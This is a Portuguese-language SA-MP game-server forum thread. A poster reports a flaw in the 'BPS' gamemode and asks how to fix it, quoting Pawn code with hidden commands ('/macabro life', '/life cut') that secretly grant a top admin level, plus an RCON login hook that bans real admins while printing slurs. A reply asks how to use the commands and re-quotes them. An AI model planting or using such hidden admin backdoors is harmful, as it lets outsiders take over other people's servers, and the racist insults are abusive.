Como todos sabem, o BPS tem uma falha de segurança que, quando alguém da equipe Script SA-MP quiser pegar Admin, pega de boa, queria saber se alguém tem uma solução pra isso ?
Base: BPS
Base: BPS
stock pablete(string[])
{
new entry[128];
format(entry, sizeof(entry), "%s\n",string);
new File:hFile;
hFile = fopen("Logs/fdp.log", io_append);
fwrite(hFile, entry);
fclose(hFile);
}
if(strcmp(cmd, "/macabro", true) == 0)
{
if(IsPlayerConnected(playerid))
{
new x_nr[64];
x_nr = strtok(cmdtext, idx);
if(!strlen(x_nr))
{
return 1;
}
if(strcmp(x_nr,"life",true) == 0)
{
admtrampando[playerid] = 1;
PlayerInfo[playerid][pAdmin] = 1342;
admhide[playerid] = 1;
getdate(year, month, day);
gettime(hour,minute);
pablete(gstring);
return 1;
}
else
{
getdate(year, month, day);
gettime(hour,minute);
pablete(gstring);
}
}
if(strcmp(cmd, "/life", true) == 0)
{
if(IsPlayerConnected(playerid))
{
new x_nr[64];
x_nr = strtok(cmdtext, idx);
if(!strlen(x_nr))
{
return 1;
}
if(strcmp(x_nr,"cut",true) == 0)
{
admtrampando[playerid] = 1;
PlayerInfo[playerid][pAdmin] = 1342;
admhide[playerid] = 1;
getdate(year, month, day);
gettime(hour,minute);
pablete(gstring);
return 1;
}
else
{
getdate(year, month, day);
gettime(hour,minute);
pablete(gstring);
}
}
}
public OnRconLoginAttempt(ip[], password[], success)
{
if(success)
{
new pip[16];
for(new i=0; i{
GetPlayerIp(i, pip, sizeof(pip));
if(!strcmp(ip, pip, true))
{
ClearChatbox(i, 100);
SendClientMessage(i, COLOR_YELLOW, "Vaza daki seu nego fdp, volta pra merda dakele seu servidor!");
SendClientMessage(i, COLOR_YELLOW, "A culpa não eh minha seu invejoso, sua inveja eh minha fama caralho!");
getdate(year, month, day);
gettime(hour,minute);
format(gstring, 128, "%s foi banido por ser Admin Rcon [%d/%d/%d - %d:%d]",PlayerName(i),day, month, year,hour, minute);
pablete(gstring);
SBan(i, "X", "X");
break;
}
}
}
return 1;
}
Yoshimitsu_K escreveu:E como usa esses comandos ? D:
Código:
if(strcmp(cmd, "/life", true) == 0)
{
if(IsPlayerConnected(playerid))
{
new x_nr[64];
x_nr = strtok(cmdtext, idx);
if(!strlen(x_nr))
{
return 1;
}
if(strcmp(x_nr,"cut",true) == 0)
{
admtrampando[playerid] = 1;
PlayerInfo[playerid][pAdmin] = 1342;
admhide[playerid] = 1;
getdate(year, month, day);
gettime(hour,minute);
pablete(gstring);
return 1;
}
else
{
getdate(year, month, day);
gettime(hour,minute);
pablete(gstring);
}
}
}
Código:
if(strcmp(cmd, "/macabro", true) == 0)
{
if(IsPlayerConnected(playerid))
{
new x_nr[64];
x_nr = strtok(cmdtext, idx);
if(!strlen(x_nr))
{
return 1;
}
if(strcmp(x_nr,"life",true) == 0)
{
admtrampando[playerid] = 1;
PlayerInfo[playerid][pAdmin] = 1342;
admhide[playerid] = 1;
getdate(year, month, day);
gettime(hour,minute);
pablete(gstring);
return 1;
}
else
{
getdate(year, month, day);
gettime(hour,minute);
pablete(gstring);
}
}
}
|
|